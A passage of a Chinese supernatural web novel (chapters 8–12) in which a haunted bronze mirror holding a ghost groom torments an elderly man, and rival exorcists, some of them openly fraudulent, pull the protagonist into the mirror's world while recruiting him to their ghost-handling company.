包冠林松口气,重新用红布盖住铜镜,叹口气道:“事情太复杂,我就简述一下。事情得从半个月前说起。”
他越说越害怕,最后躲在陈沢背后继续说,这一举动让陈沢颇为无语,一抬头对上那块红布,莫名头皮发麻。
特别是随着包冠林越说越吓人,陈沢脸色控制住不住地变得难看起来。
程故悄然走近言随,压低声音:“没事吧?你回家休息,我自己这里。”
“没事。”言随低咳一声,面色淡淡地睨了红布一眼,“可能是被影响到了,没事。”
他咳嗽比初见要严重很多,原本红润的面容也变成那种随时能丢命的苍白。
程故:“那面镜子吗?”
“对。”言随放下手,不再低咳,脸色缓和许多,“我能感觉到这块镜子的怨气。”
罗幸始终在偷偷注意这边,程故不敢和言随多说话,怕被发现,开始认真听包冠林讲他碰到的事。
*
包冠林喜欢一些古物。
他只有一些小钱,喜欢的古物一般得不到,只能看看。
直到半个月前,有人求他办事,本想拒绝的包冠林在听见对方有一个家传宝古物来了兴趣。
是一块铜镜。
看着年代久远,一些边缘有些破旧,铜面花到照不清人影,对方说这面镜子有三百年了。
包冠林其实不太喜欢镜子,但看到这块铜镜的一刹那喜欢得不得了,一口应下别人所求之事,带着镜子回家。
他怎么都看不够,拿回家第一天夜里甚至抱着这块铜镜睡觉。
由于在这边是独居,没人管他这种异常行为,包冠林自己也感觉不到。
直到这晚他梦到了一场婚礼。
梦中满目鲜红色。
十几个纸人抬着红色大花轿,吹着唢呐,在一片浓雾之中停在他面前。
风吹动轿帘,催促着他伸手去掀开帘子,迎接新娘。
氛围诡异瘆人,纸人脸涂成红花,笑意令人心里发怵。
包冠林想离开,脚下如灌铅般难以挪动半分,眼珠难以眨动,只能眼睁睁看着那笑脸纸人愈来愈近,直到逼近他面前。
那一刹那,唢呐声更加大了,天色阴暗,风声呼啸呜咽而过,包冠林感受到一股难以言诉的寒意顺着身体逐渐蔓延。
风卷动轿帘,一只白到好似从来没有见过阳光的手出现,手指细长漂亮,抓着帘子一点点拉开。
“夫君,你来了。”柔如春风般的喊声响起,令人骨头都仿佛要酥了,包冠林瞪着眼珠,两股颤颤,在这一刻从梦中惊醒。
窗外天光大亮,阳光充足地落在卧室中,包冠林迷糊地问自己昨晚怎么没拉窗帘,从床上爬起来时,想起自己昨晚睡觉前明明关上窗帘了。
他登时从困倦中清醒过来,想起那瘆人的梦境,再一看床头那面铜镜,起了一身鸡皮疙瘩。
包冠林想不通自己为什么要抱着这面铜镜睡觉,在阳光下,他看这面镜子只有说不出的别扭难受,什么喜欢全部荡然无存。
他拿下镜子,放进当作储藏室的侧卧,起身洗漱,担心昨晚做的梦跟那面镜子有关,特意把送镜子的人约出来,想要归还铜镜
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。
没想到对方联系不上了。
而古怪的事情从这一刻开始越发不可收拾。
人联系不上,包冠林又不傻,联想一切,觉得那面铜镜有问题,回家之后就直接把铜镜扔进垃圾桶。
晚上睡觉,他还特意拉上窗帘,并在手机里拍了视频,确保第二天没有证据证明。
晚上他睡得很好,没有再做奇怪的梦境,直到早上醒来,他觉得怀里硌得慌,抱着什么坚硬的硬物。
包冠林低头一看,被他扔进垃圾桶的铜镜在他怀里,而他抱得紧紧的,生怕被人抢走一样。
活那么大,包冠林还从没碰过这种恐怖没有逻辑的事儿,吓得直接扔了铜镜,从床上滚下来,摔得眼冒精光,接触到太阳一抬头,窗帘又被拉开了。
莫名地,包冠林想起来梦境里那只拉开轿帘的手,浑身一个激灵,捡起来地上的铜镜,飞快把镜子扔进垃圾车里。
开车的师傅问他铜镜挺好为什么扔了,包冠林说不出闹鬼两个字,含糊带过。
这一次他觉得家里不安全,生怕铜镜再次回来,干脆不回家住,在附近酒店住了三天才回家。
好在铜镜没有出现在酒店内,三天后包冠林回家,把里里外外找过来,确定铜镜没有再回来。
他彻底松口气,把这件事对外地的儿子说了。
儿子说他是年纪大了,记性不好,第一次的时候铜镜肯定没有扔,是他自己跑去侧卧抱出来的。
至于窗帘,一定是他半夜起来上厕所拉开了,只是他年纪大,记性不好,所以忘记了。
包冠林认为不对,可他更不信这是灵异事件,加上镜子消失,只能这么催眠自己。
当天晚上,睡觉前他心里总有不好的预感,于是把许久没用的监控打开。
睡着后,他再次梦到了那个奇怪的梦境。
大红花轿的颜色比之前深多了,像是血泼上去的般,而那十几个纸人也不再笑着,全部嘴角向下,眼尾下勾,一副幽怨哭着的表情。
伴随着阵阵阴风,悲戚哀伤的唢呐声响起,十几个纸人在迷雾之中抬着轿子,一蹦一跳朝着包冠林靠近。
哪里像送亲的队伍,明明像送葬。
包冠林清楚知道自己在做梦,而这梦铁定跟那面铜镜有关。
他在心中呐喊自己赶快清醒,可没有任何用,只能看着红色轿子再一次停在面前。
这一次手掀开帘子的速度快了很多,以至于包冠林在醒来之前,帘子掀开一半,他看到了坐在里面,穿着红色喜服的人。
而对方怀里,正抱着那面铜镜。
铜镜不再是现实中看到的划痕模糊,而是清晰地倒映出他惊恐胆战心惊的模样。
包冠林满身冷汗从床上大叫一声坐直身体。
他费劲地吞咽着口水,看到了放在对面桌子上的铜镜。
完好无损,没有任何进入垃圾场的痕迹,甚至没有任何味道,就那么安静干净地立在那里,满是划痕的镜面直直地对着他,可上面倒映出的东西模糊不清,连最基本的轮廓都无法看清。
包冠林坐在床上,喉咙被恐惧两个字塞满,说不出一个字。
9. 第九章
第9章
他给远在千里外的儿子打电话求助。
儿子工作忙,总觉得他是年纪大,记性差,给他预约了一个体检套餐,让他去医院看看,排除老年痴呆风险。
包冠林一个不信鬼的人都怀疑自己碰见鬼了,听见儿子的话愤怒骂了儿子一顿。
这次他学聪明了,不扔镜子,而是把镜子放在储物箱里上锁,做完这一切,他又担心自己是不是真有老年痴呆风险,去医院做了全套检查。
结果出来,非常健康,那就只剩灵异事件一个可能。
包冠林想起自己打开了监控,打开手机,费力登录连接后,找到昨晚的监控录像,开了十倍速从头开始看。
在他睡着后,房间里安静无声,一直没发什么。
直到窗帘无人触碰,一点点向两边拉开,无形之中似乎存在着一个透明的人,站在窗帘前伸手拉着窗帘。
包冠林吓出一身冷汗,看了眼时间,凌晨十二点十分。
他大气不敢喘一下,硬着头皮继续看下去。
就听见“咯吱”一声,卧室反锁的房门毫无征兆地被打开,随后“噔噔噔”清脆的声音响起,那面铜镜出现在监控中,在地上哒哒蹦跳着进入卧室。
随后房门关闭重新反锁,铜镜跳上床,又从床跳上桌面。
而包冠林完全没有察觉。
随后那铜镜一直在桌面一动不动,直到包冠林想要关闭监控时,它忽然转动镜身,面向监控所在的方向。
昏暗模糊的铜镜后仿佛生出一双诡异的眼睛,死死地盯着监控,那种被注视的感觉令人毛骨悚然,掌心生出汗水。
包冠林大气不敢出一下,更难以继续看下去,关闭监控,直接把体检报告发给儿子,让他给自己找人。
“这镜子丢不掉,你本事多,你给我找解决灵异事件的人。”
儿子依旧觉得是他多想了。
包冠林想了想,发去消息:“没事,儿子,你既然觉得我多想了,那我把镜子寄给你,你给我保管,省得我多想。”
他拍下镜子照片,发给儿子。
不过三秒,儿子打来电话,声音中充满恐惧:“爸,你别住在哪里了,赶紧搬走,那镜子确实不对劲。”
在外面租了一间房,儿子才告诉他,当时发过去的照片,那模糊不清的镜面中站着一个红色的身影,看上去像新娘子,还披着红盖头。
包冠林听见这句话,整个人差点吓得魂飞魄散。
他自己点开那张照片看不到任何影子和不对劲之处,不知道儿子怎么看到的。
儿子说自己已经开始联系人,让包冠林不要再回家。
当晚,包冠林再次做梦。
梦中轿帘彻底打开,坐在里面的喜服新娘双手抱着镜子,声音哀怨悲惨地喊着:“夫君。”
包冠林冷汗淋漓,动弹不得,而那新娘抬起铜镜,对准他后从轿中走出。
“夫君既然和我定下契约,就要与我一起离开,夫君,你为何要躲?”怨毒的嗓音听着莫名有些粗犷,红色的盖头被风吹动,下一秒飘落,露出一张男人的脸,苍白到犹如白纸覆盖,五官涂抹着厚重的颜料,看不清原来的模样。
这是个男人。
包冠林吓哭了,清醒后打电话给儿子让他飞回来陪自己。
“那男鬼看上你爹我了,你再不回来帮我,我就要被他害死陪他去了。和你妈离婚后,我虽然有过再娶的想法,但是我不喜欢男人啊。”
儿子匪夷所思,大为震撼,但工作走不开,花钱让大师提前赶过去。
大师刚见包冠林扭头就跑,只留下一句:“大凶,管不了,没这个本事,请另请高人。”
路费都没要,全部退回。
包冠林希望破灭,晚上不敢睡觉,最终没忍住睡着,梦中男鬼已经抱着铜镜邀请他进花轿。
这次包冠林可以随意走动,他勃然大怒,对着男鬼的脸来了一拳,可惜年纪太大,没多少力气。
但男鬼的脸像漏气的气球般迅速憋下去,包冠林骤然醒来,浑身酸痛,打男鬼的那只手变得红肿青紫,吓人至极。
儿子联系的第二个大师倒没扭头就走,但再看到镜子图片后脸色剧变,直摇头,表示自己救不了。
还嘱咐包冠林尽快找高人,否则不过半月,他必定死。
包冠林上哪找高人。
镜子不在,噩梦却一直不断,甚至到后面他睡了一天一夜才醒,梦中他已经准备要进轿子里了。
包冠林身体极度虚弱,进医院多次结果都是健康的,找老家人打听,前后又来了十个人,全部束手无策。
而梦中,包冠林一只脚踏进轿中,男鬼的脸阴森扭曲,眼珠子到了一种快要瞪出来的丑态,五官狰狞,用余光看像是一张压扁的大饼。
包冠林从没有在梦中叫出来过,在看到那张脸的一刹那,他尖叫一声,瞬间从梦中惊醒,摔落在地。
这一摔直接把腿摔疼了,走路都困难,包冠林从没那么怕死过,给儿子打电话,哭着求着让儿子找大师。
一边治腿,一边又看了几个大师,其中骗子不少,嘴上说敢帮他,却一直说不出什么名堂,最后竟然说是他上辈子欠对方的,气得包冠林直接报警把人送进去。
懂点这方面的,听他说了大概之后全部离开,问就是没本事,帮不了。
包冠林差点下跪求助,才有一位大师同意试着处理一下,要看看那面铜镜。
包冠林激动地把人带回家,打开储物箱,拿出来里面的镜子。
不过刹那,大师面对镜子失去意识,站在那里一动不动,只有脸色越发虚白,最后一口鲜血喷出,直摆手表示自己难以解决这件事,他为此折损了十年寿命。
包冠林更加绝望。
最后大师心善,递给他一块红布,告诉他这是用黑狗血浸泡七七四十九天制成的,盖在镜子上可以暂时压制住里面的邪物。
他只有半个月时间,半个月后如果没有找到能够解决镜子的人,他会被镜中男鬼带走,彻底摆脱不了男鬼的纠缠。
铜镜被盖上之后,包冠林还真的没有再做过噩梦,身体好很多,不再虚弱无力。
他开始全国各地找厉害的大师,但没有一个人能够解决,最后还被骗了十万块钱。
包冠林开始在网上求助,找到了年轻男人,和罗幸三人。
剩下的都是他儿子,儿子的朋友帮忙找来的,集结了二十
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多人,用车接到这里。
集合时,多数人见包冠林请来了这么多人,相冲突离开,只剩下三拨人。
听完整件事,罗幸三人倒是没什么脸色变化。
陈沢整个人惊出一身冷汗。
之前出来骗人,也没听过这么吓人的,最多就是在家里看到了黑影,或者是被不知名的东西跟踪。
他过去装模作样给几张假符纸,再随便念叨两句,骗个小几千块钱就离开。
这次接了单大的,没想到这么劲爆。
同伴听完一切,已经生出撤退的想法,扯了扯陈沢的衣服,示意他赶紧想办法离开。
陈沢咽了咽几口水,不自觉离铜镜远了一些,不敢正面面对铜镜,生怕里面出现一抹红色的身影。
他低咳两声,准备找借口说话,忽然注意到对面站着的青年。
这间屋子采光非常好,温暖的阳光从窗外照射进来,青年的脸被光一照,显得更加好看耀眼,五官俊秀出挑,特别是一笑起来,所有高冷不好惹的疏离感全部消失,只剩下极吸引人的乖巧温顺。
陈沢狠狠心动,不舍得离开。
他小声对同伴说:“还有下一单呢,这一单离开了,下单也做不成了。再看看,说不定也跟之前那样好骗。”
骗多了,自然耳濡目染,知道一些事。
同伴看出他的心思,恶狠狠道:“别光顾着打人主意,小心也被打。这铜镜看着就不简单,一出现在客厅我身上的鸡皮疙瘩就没消停过,你要继续留下,出事了怎么办?”
“不可能。”陈沢压低声音,“放心,出事之前我们肯定已经离开了。来都来了,怎么说都要混点什么。这世界上哪有那么多灵异事件,我们骗了十几件,没见发生什么啊。”
……
程故一直和言随小声聊着关于铜镜方面的事,听见言随说没事,有他在,不会有危险,忍不住勾唇笑了笑。
等反应过来自己嘴角翘得那么高,立刻抿唇假装无事发生。
“镜子里面真的有东西吗?”程故问,“那人说的是真的吗?”
“不一定。”言随说,“见机行事,你已经露面,她们后面自会找你,如果你想离开也可以。”
程故选择留下来,如果以后真的和那些人成为同行,他比较好奇工作内容是什么。
“大师们,我说完了。”包冠林擦掉额头上的冷汗,看出陈沢生出胆怯,索性换了个人躲,直接站在罗幸身后,一脸哀求,“大师,能不能解决?”
“可以。”李千月点头。
这么久了,包冠林从没有听过如此美妙的两个字,坚定不移没有任何犹豫,充满让人信任的沉稳。
就连当时碰到的几个骗子也只是说尝试一下。
他热泪盈眶地看向李千月:“真的吗?大师莫要骗我。”
“没闲心思骗你。”罗幸淡声说,“不过要想解决,得先见到那东西,确定是什么。”
包冠林脸唰一下白了,声音颤抖:“还要见那东西?我见他都是做梦,现在天没黑怎么见?等天黑睡觉吗?这是说能见就能见的吗?”
“不用。”李千月偏了下脑袋,示意周笙出手,“自然是‘请’它出来聊一聊。”
10. 第十章
第10章
周笙探出脑袋,打开随身携带的包:“我来?”
她不太确定,看向罗幸,平时都是他先来。
李千月点点头。
罗幸推开包冠林,余光注视着多数歪着脑袋,嘴唇时不时动几下,看似自言自语的青年。
程故几乎瞬间注意到被人偷窥的感觉,站直身体,不再和言随闲聊。
他觉得可以给言随买个手机,两人互发消息,就不用再假装自言自语。
程故想和言随说,见罗幸还在盯着自己,只能忍住。
随后他察觉罗幸的视线从他身上落在手腕处的红绳。
这人和另外一个人似乎对自己手腕上的红绳格外感兴趣。
程故看不出这绳子有什么特别,就是简单的同心结。
“你来。”再看下去就不礼貌,罗幸收回目光,对周笙说。
周笙伸进包里摸了摸,骤然对上对面陈沢炙热到恨不得看穿背包的目光,动作瞬间一顿:“不如他先来吧。”
她指着陈沢,缓缓开口:“他看起来很厉害,说不定不用我们出手就能把事情解决。”
突然被指,陈沢脸色一变,绿了白,白了黑,最后干笑两声:“你们都要出手了,我就不打断了,请吧。”
正好他也想看看所谓的请出来聊一聊是用什么办法,又是怎么一回事,弄得跟真的有鬼一样。
到时候好学学他们的办法,说不定骗人起来更加容易。
周笙示意:“你请。”
陈沢一动不动:“你请。”
两人互相微笑,李千月叹口气:“周笙,别跟这种骗子废话了,你要是看他不爽,这件事解决后我跟你一起报警把他抓了。”
“你这人凭什么说我是骗子。”陈沢急了,瞪着眼睛愤怒道,“你们才是骗子,装模作样的,等这件事解决后我先抓了你们还差不多。”
周笙没说话,手终于从包里拿出。
她双指并拢,指缝中是一张符纸,看着薄如蝉翼,却能立得极为笔直。
几乎是刹那,程故看到铜镜的镜面变黑了一些,比之前还要昏沉模糊,上面不知何时出现一层黑乎乎的液体扭动扩散着。
这一变化罗幸三人也看到。
“这是一直等着我们呢。”李千月忽然一笑。
包冠林不敢看,陈沢好奇,却又不能太表现出来,探头探脑打量着。
他没办法看到镜面,挪动着步伐朝铜镜靠近,没动两步,就见那铜镜周身串着许多条血丝,最后漂浮在镜面上,扭曲成令人眼花缭乱的线条。
陈沢一愣,立刻揉揉眼,再次看去时镜面空无一物。
他惊愕地站在原地,不明所以地看向同伴,冲他挤眉弄眼:“你看到了吗?”
同伴皱眉摇头,被他这话弄得再次生出退缩之心。
“要不然咱们先走吧。”同伴用气音说,“这件事看着就不简单,不是你我能插手的。“
“再看看。”陈沢生出撤退想法,朝着程故所在的方向靠近,想借机要个联系方式,后续好联系。
他还没靠近程故,身体蓦然感到一种难以形容的冷意弥漫在周遭,整个人仿佛被塞进冰箱里,浑身挂满白霜般难以动弹。
这奇怪的感觉让陈沢定在原地,不停搓着手臂。
屋子里难道真的有他看不见的东西?不然怎么这么别扭。
不会真的有鬼吧?
不可能,这世界上哪来的鬼。
越靠近,双腿越难迈开,像是背着千斤重的东西,连手脚也变得冰冷毫无温度。
有那么一刻,陈沢觉得自己是一具尸体。
他骤然醒过神,停在程故面前,连拿口袋里的手机都做不到。
程故注意到他,挑眉后退两步,摆明了回避抵触。
陈沢只能暂时作罢。
周笙没再犹豫,站在铜镜前,双眼直直地盯着镜面,嘴中默念着什么。
几秒钟后,屋内变得黯淡无光,阴冷的风不知从何处袭来,吹得人内心发凉。
周笙手中的符纸倏地烧起,橘色的火光摇曳,镜面倒映出一点模糊的火光。
她用力将符纸贴在镜面,原本平静的镜面宛如坠入石子,荡漾出无尽涟漪,波纹流动扭曲。
随后,红色的线条占据整个正面,密密麻麻地游动着,乍一看有生命般,以极快速度形成一张网,笼罩镜面。
一道雌雄难辨的声音响起:“聊一聊可以,但得在我的地方,而不是这里。”
肃杀之气充斥着房间,伴随着的是一种能将人肉活生生冻烂的冷。
程故顿时打了个喷嚏,四处查看,并没有看到想象中的存在。
说话的东西难道藏在镜中?
程故重新看向镜面。
红色的丝线几乎将镜面挡住,很难再看清,程故直勾勾盯着,直到在里面看到一个模糊的红色倒影。
与此同时,一种异常鸡皮疙瘩的森冷感从脚底蔓延脖颈,好似无形中飘荡着许多双看不见的眼睛冷窥着他。
程故浑身一个哆嗦,反射性撇开目光。
陈沢打了个喷嚏,看到镜面的变化,整个人嘴巴大到几乎能塞下鸡蛋。
他目光呆滞,反应过来程故还在自己身侧,立刻装模作样地低咳两声。
“骗子,挺会摆弄道具,这道具花了不少钱吧?那声音也是你手机中录制好的吧?呵呵,动作这么熟练,骗了不止一个两个吧?”
阴森的笑声回荡在四周,嘲笑着陈沢的无知。
两人哪里见过这样的阵势,互相对望一眼,没时间多想其他,只想着赶紧离开。
“后退。”
笑声不停,刺骨的冷意却像是一张随着空气散开的网,逐渐包裹着房间中的人,李千月一声低呵,抓着周笙的肩膀往后轻轻一扯。
镜面红光一闪而过,丝线向两边扩散,中间波纹晃悠,向两边挤压开。
一只苍白犹如枯木般细的手伸出,呈现鹰爪模样朝着周笙所在的方向抓去。
抓空后,手迅速退回,镜面恢复原来的模样,什么丝线波澜全部消失不见。
一切好似幻觉,房间里死寂一片,周笙脸色微白,还保持着被李千月抓着肩膀的姿势。
程故眯起眼睛,注意镜面变得更黑了,宛如泼了一层墨。
他偏头询问言随,这变化有没有事。
言随一顿,意味不明地摇头:“不确定,再看看。”
陈沢和同伴已经退到房门口,包冠林注意
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到,惊叫道:“大师,难道你们不行吗?”
没人会在这句话中无动于衷,陈沢磨牙,虽不愿意承认,但实在怵得慌,半天才憋出来回答。
“想起来家里衣服没收,反正这里有人处理,那我就大度点让给他们好了。此等小鬼,不值得我出手。”
不知是否因为他的话,窗外天色倏然一黑,再无任何光亮。
房间里没开灯,黑得伸手不见五指,这一惊变弄得众人微慌,特别是此刻,镜面红光亮起,散至整个房间。
眼前一晃,程故只觉得双腿发软无力,再次恢复视线时,头顶天空灰暗,白雾弥漫四周。
“不是要谈谈吗?现在可以了。”那冷漠的声音再次响起,“不过各位要是不嫌弃,还是先参加完我的大婚再说。”
程故下意识去寻找言随,眼前只有一扇宽大紧闭的木门,除此之外再无其他。
没看到言随,他心一沉,手中红线到了一种烫到无法佩戴的程度。
程故环顾四周,只看到李千月与周笙,包冠林和罗幸不见了。
他抓住红绳,被烫得不敢再紧贴手腕,用手指扯出缝隙。
这一动作吸引了李千月的目光,她本就好奇程故手腕处的红绳,现在瞥了眼,眼底闪过一丝惊疑。
程故不自在地将手腕藏在身后,用另一只手指着眼前的大门,故意找话题:“我们进去吗?”
“不。”李千月收回目光,“不进去。不知道里面有什么在等着我们,先静观其变。”
程故应下一声,又问:“这里是哪里?铜镜里的世界吗?”
“应该。”说话的是周笙,她一直在打量周围,随后像是想起来了什么,看向程故,“你碰到了什么事?现在可以说说,解决完这里的事儿,我们可以直接帮你解决。”
言随不在,程故不确定他是不是在外面没跟自己一起进来,没提前想好理由,迟疑片刻,把自己遇见的情况简单说出。
“你这种情况我们倒是碰见过。”李千月托着下巴说,“你小时候是不是就能看到这些东西?”
程故对小时候的记忆全部模糊,摇头表示自己无法确定。
“多数情况下是你小时候就有阴阳眼,被关了之后,长大后机缘巧合之下重新打开了。”李千月说。
“还能关上吗?”程故下意识问,总是看到那些东西,对他的心理造成的伤害不止一丁半点。
“不需要关。”周笙眨眨眼,自然而然邀请,“你可以来我们公司。”
没想到会在这种情况下印证了言随说的话,程故眼皮一跳,踌躇道:“你们公司?”
“对。”周笙深吸一口气,一股脑把准备好的话说出,“我们公司跟骗子公司不一样,我们是正规的公司,待遇非常好,你平时碰到的都是骗子。”
“有什么不同?”
“我们和下面合作。”周笙直言道。
程故是真的惊讶:“和下面合作?”
“是。”李千月走到门口,通过缝隙往里面看了眼。
角度受限,完全看不清里面。
她继续说:“各地这么多鬼,抓起来比较困难,送下去的流程十分繁琐,还慢。所以成立了我们这种公司,和下面合作,把那些鬼送下去。”
11. 第十一章
第11章
虽然有过猜想,但听到这些话,程故还是免不了震撼。
他抿唇,缓和片刻,问出一个自己最好奇的问题。
“待遇有多好?”
周笙神秘一笑,竖起四根手指:“这个数,双休,不加班。”
双休?还不加班!
程故只听见了这两个重点,现下在找双休不加班的工作太难了。
他们这个公司竟然有双休。
程故内心稍微激动,周笙继续说:“你不好奇薪水吗?”
“无所谓了。”程故说,想起周笙比的手指,觉得四千完全能接受。
上个工作工资六七千,每天加班到深夜,单休就算了,休息日他也得抱着电脑回复。
“底薪四万。”李千月随口道,“提成看小组处理任务数量,基本上一个月六万是有的。”
身边毫无动静,她觉得奇怪,瞥了眼身侧的青年,就见他满脸呆滞,还抬手用力掐了下自己的大腿。
李千月看破他的心思,没忍住笑出声:“不是做梦。”
“真的吗?”程故呢喃道,“六万双休不加班?我不太相信。”
这跟把钱砸在脸上有什么区别。
“是真的,不过这工作内容你知道的,比较特殊。”周笙提醒道,“我们公司没有试用期,但有一个月的习惯期。如果一个月你能习惯接受,就会给你发员工证,如果一个月以后不想继续干,就拿一个月工资走人。”
太爽了。
爽到程故飘飘然,觉得自己就是在做梦。
好久没做过这么美的梦了。
“你眼睛能看到那些东西正好。”李千月抓起门上的扣环,用力敲击大门。
“砰。”沉闷的响声在四周炸响,下一秒,门内就像激活了什么东西,混乱听不清的窃窃私语声响起。
程故努力去分辨,完全听不出意思。
不仅如此总觉得眼前逐渐模糊,心跳加速,耳边嗡鸣,意识像是坠入大海之中,难以翻腾。
关键时刻,手腕处原本恢复正常的绳子骤然一刺,滚烫的热意穿过皮肤,直达灵魂。
程故闷哼一声,从晕眩恍惚中醒来,顿时握住手腕,疼得他龇牙咧嘴,忍不住低声商量:“别烫了。”
热意还在往骨头里钻,烫得他满头大汗,恨不得现在就跳进冰水里止一下。
手里的绳子闪烁着微弱的红光,随着光芒逐渐消减,滚烫的热意也随着消失。
程故顿时松了一口气,抬头打量着其他人。
李千月直愣愣地站在门口,手还维持着抓着扣环,侧耳听着门内声音的姿势。
她眼睛一动不动,仿若雕像,门内奇怪的声音程故也听不到了。
他上前拍了拍李千月的肩膀,没有任何反应。
远处的周笙还好,眼珠子可以转动,身体好像被定在原地,无法挪动。
她保持着清醒意识,不断对着程故转动眼珠,示意他做些什么。
程故无法看懂,指着李千月。
周笙眼睛看向左边。
程故指着自己,又指着周笙。
周笙看向右边。
看不懂。
程故朝她走去,这次周笙没动作,应该就是让他过去的意思。
靠近之后,周笙拼命往下看,但动作有限,不能动眼皮,最后只能做一半。
好在程故看明白她的意思,抓住她身上的包,在里面摸索起来。
一包的符纸。
程故抓住一把,对周笙说:“这个有用吗?”
周笙看向右边,示意有用。
程故抓起第一张符纸说:“这是你需要的,你就看向右边,不需要就看向左边。”
接下来,周笙频繁看向左边,程故能看出她很着急,也跟着着急起来。
他现在最疑惑的就是言随去哪了。
潜意识觉得,言随不在自己身边,没有任何安全感。
程故又拿起三张,周笙瞬间看向右边。
程故:“直接放在你身上就行了吗?”
周笙看向左边。
接下来,程故将身体每处都报了下,再说到脑袋时,周笙看向右边。
程故明白,立刻将符纸放在她的额头上。
奇怪的是没有任何胶水的符纸就那么黏在她额头上,一秒自燃。
程故没想到会这样,着急忙慌地去吹灭,快把嘴巴都吹破,那符纸直接燃烧殆尽,一点不留。
“我好了。”烧完的那一刹那,周笙立刻能动了,按住程故的肩膀道谢,“谢谢你,不过我没事,那火烧不到我。”
程故松了一口气,周笙在包里扒拉片刻,拿出三张符纸,飞快跑到李千月面前,分别贴在她的额头与两边肩膀。
原本还一动不动的李千月登时眨眼,双腿一软贴在门上,撞疼了脑袋,咒骂一声。
“搞这种阴招,奸诈。”
周笙扶着她远离大门:“现在看来,罗幸应该和我们分开了。我们在门内,他在门外。”
如果是这样,言随是不是也在门内。
程故沉思起来。
李千月干呕几声,难看的脸色才逐渐缓和,面色严肃地看向大门方向:“那东西就在门内,我们得进去,不弄死它,离不开这里。”
门内的东西仿佛听见了她这句话,奇怪的声音响起,程故靠近大门,听见了敲锣打鼓声,以及痛苦的嘶吼声。
有点熟悉,好像是包冠林的声音。
程故离得更近,耳朵刚贴在门缝上,听见包冠林嘶吼出声:“我不结婚,我不结婚,我都这么大年纪的糟老头子了,结什么婚。走开,让我回去,回去。”
“啊啊啊,我要举报你们虐待老人啊。”
杀猪般的尖叫声落下后,是一声略微尖锐的冷笑。
风声不停,伴随着细碎的唢呐声,时停时起,最后极为清晰,到了一种能将人耳膜刺烂的程度。
程故骤然后退,用力捂着耳朵,里面像是有东西顺着耳道钻到脑袋里,天旋地转,胃里翻江倒海,一阵恶心。
他张开嘴,“哇”一声呕吐出黑色的水。
心脏紧缩不停,喉咙张开,即使吐不出什么,程故也无法停止自己的动作,有那么一瞬间,他觉得自己要死了。
“先救他。”周笙符纸全部掏出,和李千月正准备破门工作,见程故脸色白到发灰,一副将死之相,提醒出声。
青年呕吐出来的黑水在地上扭动着,最后沉
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入地面中,原本的地面留下腐蚀的痕迹。
程故眼前发黑,什么都无法看清,整个人沉浮不定,像是漂在海上的浮木,随着水流波澜四处摇摆,无法停歇。
呼吸变得费力,他说不清自己怎么了,更没有理智去思考,只能听到自己沉重的呼吸声。
恍惚之中,程故听见一句略微虚弱却不失力量感的声音:“破。”
手腕处倏然刺痛,疼意顺着手臂蔓延,瞬间将他惊醒,所有混沌朦胧感全部退去,脑中变得清明,程故扶着自己的腰慢慢站起身,摸了摸手腕处的同心结。
热意消散,那一声“破”他无法确定是不是言随的声音,只是觉得那虚弱的声调有些许相似。
一抬头,李千月手中拿着一张符纸,正要贴在他身上,此刻满脸震惊,视线从上往下将他打量完。
“你没事了?”
“没。”程故说,喉咙干痛,说话都比原来艰难几分。
他注意到脚下被腐蚀的地方,后退两步,捂着脖颈揉了揉,扭头看向身后的大门,眼底闪过几分忌惮。
里面很危险。
“怎么会。”李千月低声呢喃,话中满是不可思议,“被这种阴邪之气侵入,少说也会被折腾一会儿,我还没救你,你就醒过来了……”
她顿了顿,问程故:“你是有什么保命的东西吗?”
对上李千月复杂的眼睛,程故一顿,下意识含糊带过:“没,什么保命的,我听不懂。”
看出他不想多说,李千月没有再多问,叫上周笙,动作迅速地在门上贴了十几张符纸。
程故打量着上面的符纸,上面写的符箓复杂繁琐,不过一眼就有一种震慑人心的威力。
他觉得手腕上的红绳又在发烫,忍不住用手转了转。
“你这个同心结。”李千月忽然问,“从哪里来的?”
程故不好回答,只能反问:“怎么了?”
“没,就觉得挺好看的。”手中最后一张符纸贴在门上,李千月从口袋里,拿出一把迷你折叠小刀,在掌心划破,随后食指沾染掌心中的鲜血,飞快在门中央写下什么。
她手臂轻盈,动作飘逸,不过几秒,中央出现红色显眼的各种符箓。
程故眨眼,那符箓似乎有生命一样在缓慢游动着,他以为自己花眼了,揉揉眼,发现还是在动。
“这个,是在动吗?”以为自己受那所谓的阴邪之气影响,程故指着符箓问。
“你能看到?”周笙短暂诧异之后又笑了,“看来你真的很适合来我们公司。”
“所以真的再动。”程故惊讶出声。
“对。”李千月收起小刀,拿出纱布随意将手掌缠住。
“我来帮你。”程故见她缠得随意,快要松开,本来就觉得自己没帮什么忙,快速过去接过纱布打开,“我会包扎,你放……”
纱布打开,本该鲜血溢出的掌心只剩下一条极为细的缝隙,并且正在以肉眼可见的速度黏合,直到最后掌心彻底愈合,根本看不出受过伤的痕迹。
程故愣住,百思不得其解地打开纱布又重新缠上。
他这个时候才反应过来,就算伤口再小,也不可能不沾染一点鲜血在纱布上。
太不可思议了。
12. 第十二章
第12章
“感觉你会来我们公司,所以也没必要瞒着你。”李千月笑笑,将纱布扯下收起,“我们公司的人,基本上都和常人不同。就比如说你这双眼睛,能看到常人所看不到之物。”
程故张嘴:“就跟你伤口愈合一样,都是这种神奇的事吗?”
“差不多。”周笙平静道,“都是天下能人异士汇集在一起。”
小说和电视剧里看到的场景就这么活生生出现在眼前,程故半天反应不过来。
虽然说言随的存在对常人来说也难以相信,但好歹他的身份是鬼,鬼很多人都信。
伤口迅速愈合这种事已经不是简单能跟鬼挂钩了。
程故眼底满是震惊。
“躲开。”李千月突然开口。
程故闻言立刻后退两步。
李千月站在门前,不知道嘴中念了什么,贴在门上的符纸发出一阵淡淡的光。
随即中间复杂的符箓红光闪烁,四周狂风大作,阴寒刺骨的风几乎能将人身上的皮肉刮烂。
“轰。”下一刻,原本紧闭的大门轰然向两边打开,发出震耳欲聋的动静。
白雾弥漫,挡住了一切,无法看清雾后。
李千月似乎见惯了这一场景,没任何犹豫地扔出符纸。
明黄色的符纸飘在半空,飞快向前冲去,所到之处,白雾散开,露出了门后的景象。
几十个纸人坐在木桌前,它们脸上画着鲜红色的腮红,嘴角吊起,笑容诡异,芝麻大的眼睛统一撇来。
那一刹那,程故不受控制地定在原地,那些小眼睛在他眼中逐渐放大扭曲,伴随着桀桀的笑声回荡在四周,他觉得自己被塞进了窄小的木箱,浑身憋屈不舒服。
后背被人用手一推,程故回过神,周笙沉着脸提醒:“别看那些纸人,有危险。”
程故用力点头,避开那些纸人,打量其他。
